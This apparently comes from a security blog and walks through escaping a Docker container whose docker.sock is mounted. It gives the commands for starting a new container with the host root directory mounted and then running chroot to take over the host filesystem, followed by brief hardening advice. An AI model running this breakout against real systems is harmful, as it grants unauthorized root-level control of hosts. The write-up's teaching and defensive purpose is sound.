Docker Container breakout using docker.sock
Some docker images like Portainer, Nginx available on docker hub require add as volume
docker.sock. This file allows managing other containers from the container. Unfortunately, access to this file can also give the attacker opportunity to get control over the host.
- The attacker got access to docker container
- Container has mounted
Checking if conditions fulfilled
To simulate precondition we create
alpine image with mounted
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh
Let be sure if docker sock has been mounted:
Another thing user need to check if
docker CLI is installed under container:
sh: docker: not found
Docker command was not found so it is needed to install it:
apk update apk add -U docker
/ # apk update fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/community/x86_64/APKINDEX.tar.gz v3.12.1-34-g3bbb400149 [http://dl-cdn.alpinelinux.org/alpine/v3.12/main] v3.12.1-37-gb1aa03461c [http://dl-cdn.alpinelinux.org/alpine/v3.12/community] OK: 12750 distinct packages available / # apk add -U docker (1/12) Installing ca-certificates (20191127-r4) (2/12) Installing libseccomp (2.4.3-r0) (3/12) Installing runc (1.0.0_rc10-r1) (4/12) Installing containerd (1.3.4-r1) (5/12) Installing libmnl (1.0.4-r0) (6/12) Installing libnftnl-libs (1.1.6-r0) (7/12) Installing iptables (1.8.4-r2) (8/12) Installing tini-static (0.19.0-r0) (9/12) Installing device-mapper-libs (2.02.186-r1) (10/12) Installing docker-engine (19.03.12-r0) (11/12) Installing docker-cli (19.03.12-r0) (12/12) Installing docker (19.03.12-r0) Executing docker-19.03.12-r0.pre-install Executing busybox-1.31.1-r16.trigger Executing ca-certificates-20191127-r4.trigger OK: 307 MiB in 26 packages
Escaping docker container
docker.sock we have full access to managing docker containers. So we can: delete, exec, create, change configurations etc.
Our next step would be creating a new container with the mounted root directory as volume:
docker -H unix://var/run/docker.sock run -it -v /:/host -t alpine sh
Let’s now use
chroot command over host directory
Attacker gain full access to file system on the host directory.
How to secure?
- Do not mount
- If you need to mount into some containers treat it as root privileged application, secure it, try not to expose over the network
- Run docker in rootless mode (Some docker features may not work properly)
Maybe you want to share? :)